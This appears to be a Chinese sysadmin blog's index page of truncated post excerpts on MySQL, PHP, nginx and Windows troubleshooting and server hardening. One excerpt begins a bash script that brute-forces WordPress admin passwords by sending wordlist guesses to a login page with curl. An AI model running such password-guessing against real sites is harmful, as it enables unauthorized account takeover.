友情提示:小程序,开发制作。

删除mysql-bin.0000X 日志文件并禁止再生

红色表示输入的命令.

[root@jiucool var]# /usr/local/mysql/bin/mysql -u root -p
Enter password:  (输入密码)
Welcome to the MySQL monitor.  Commands end with ; or /g.
Your MySQL connection id is 264001
Server version: 5.1.35-log Source distribution

Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the current input statement.

mysql>&...

阅读全文>>

5.4.x Call to undefined function session_register()

php版本是5.4.x版本的(),经过一系列的搜寻,发现这个函数在PHP5.4版本中已经被弃用了,已经被删除了。也就是这个函数不再可用了。直接注释掉就可以了,不用进行注册就可以声明session。(亲测可以正常使用)

 

另外的解决方法就是在include/userlogin.class.php 中声明一个函数

function session_register()

{

 return true;

}

(这个没有测试。)

阅读全文>>

nginx File not found 错误

使用php-fpm解析PHP,"No input file specified","File not found"是令nginx新手头疼的常见错误,原因是php-fpm进程找不到SCRIPT_FILENAME配置的要执行的.php文件,php-fpm返回给nginx的默认404错误提示。
 
比如我的网站doucument_root下没有test.php,访问这个文件时通过抓包可以看到返回的内容。
 
HTTP/1.1 404 Not Found
Date: Fri, 21 Dec 2012 08:15:28 GMT
Content-Type: text/html
Proxy-Connection: close
Server: nginx/1.2...

阅读全文>>

FATAL ERROR: Could not find ./bin/my_print_defaults 解决方法

网上很多方法都是:/usr/local/mysql/scripts/mysql_install_db --user=mysql
但是很有可能报错,找不到bin目录中的my_print_defaults
错误信息: 
FATALERROR:Couldnotfind./bin/my_print_defaults
If you are using a binary release, you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run 'make install' firs...

阅读全文>>

WordPress后台密码暴力破解脚本

WordPress后台密码暴力破解程序,请先确认机器已安装curl

 

#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
    curl -s -d "log=$user&pwd=$1" $url >> $1.html
    l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
...

阅读全文>>

源码安装php , ./configure无法通过:报错Note that the MySQL client library is not bundled anymore!

mysql安装地址

 [root@localhost php-5.4.14]# whereis mysql mysql: /usr/bin/mysql /usr/lib/mysql /usr/include/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz

 

 找不到mysql的安装路径的话可以。尝试一下方案。

 

可以试试  mysqlnd     php5.4貌似是支持的


 ./configure --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysq...

阅读全文>>

error: xml2-config not found. Please check your libxml2 installation

Ubuntu安装PHP时候出错:error: xml2-config not found. Please check your libxml2 installation

 

Ubuntu>下接着安装php时候,在configure后,又出现错误提示:error: xml2-config not found. Please check your libxml2 installation.我又在网上搜了到了解决方法:

与编译MySQL时相同,这是由于系统缺少PHP所需的库文件导致的,根据提示,进行如下操作:

sudo apt-get install libxml2(按Tab键)

将会看到如下信息:

libxml2 libxml2-dev libxml2-he...

阅读全文>>

ERROR 1146 (42S02): Table 'mysql.servers' doesn't exist

今天刚在一台服务器上安装好mysql,对mysql进行安全加固之后,一刷新权限,结果报错,说mysql.servers表不存在.
mysql> flush privileges;
ERROR 1146 (42S02): Table 'mysql.servers' doesn't exist
如下图
点击查看原图

既然不存在那就创建一个,当然要先use mysql才行,不然直接创建会报错.

CREATE TABLE `servers` (
`Server_name` char(64) NOT NULL,
`Host` char(64) NOT NULL,`Db` char(64) NOT NULL,
`Username` char(64) NOT NULL,
`Pas...

阅读全文>>

Linux安全之PHP木马查杀与防范

1.服务器自身系统安全:

使用最新的操作系统,或者最新的稳定版(比如Ubuntu的LTS),定期打好更新,系统权限合理划分,重要文件做权限安全保护。

比如:

# chattr +i /etc/passwd

# chattr +i /etc/group

# chattr +i /etc/shadow

# chattr +i /etc/gshadow

# chattr +i /etc/ssh/sshd_config

使用DenyHost程序防止SSH被暴力攻击,具体方法见站外文章:http://www.myhack58.com/Article/48/66/2011/28833.htm

2.Web服务器和PHP的安全规则:

首先根据需求更新Web服务器和PHP,在网站程序目录中严格定...

阅读全文>>

cmd查看进程和终止进程 命令

cmd查看进程和终止进程 命令

TaskList:

tasklist /? 查看帮助(/?帮助文档)

taskkill /?用来关掉进程的(/?帮助文档)

tskill /?用来关掉进程的(/?帮助文档)

:tasklist:显示当前系统所有进程命令
:taskkill:关闭至少一个系统进程命令

/pid后面是系统的进程id如先查到notepad.exe的id是2152,则格式为taskkill /pid 2152

多个时格式为taskkill /pid 2152 /pid 1284

阅读全文>>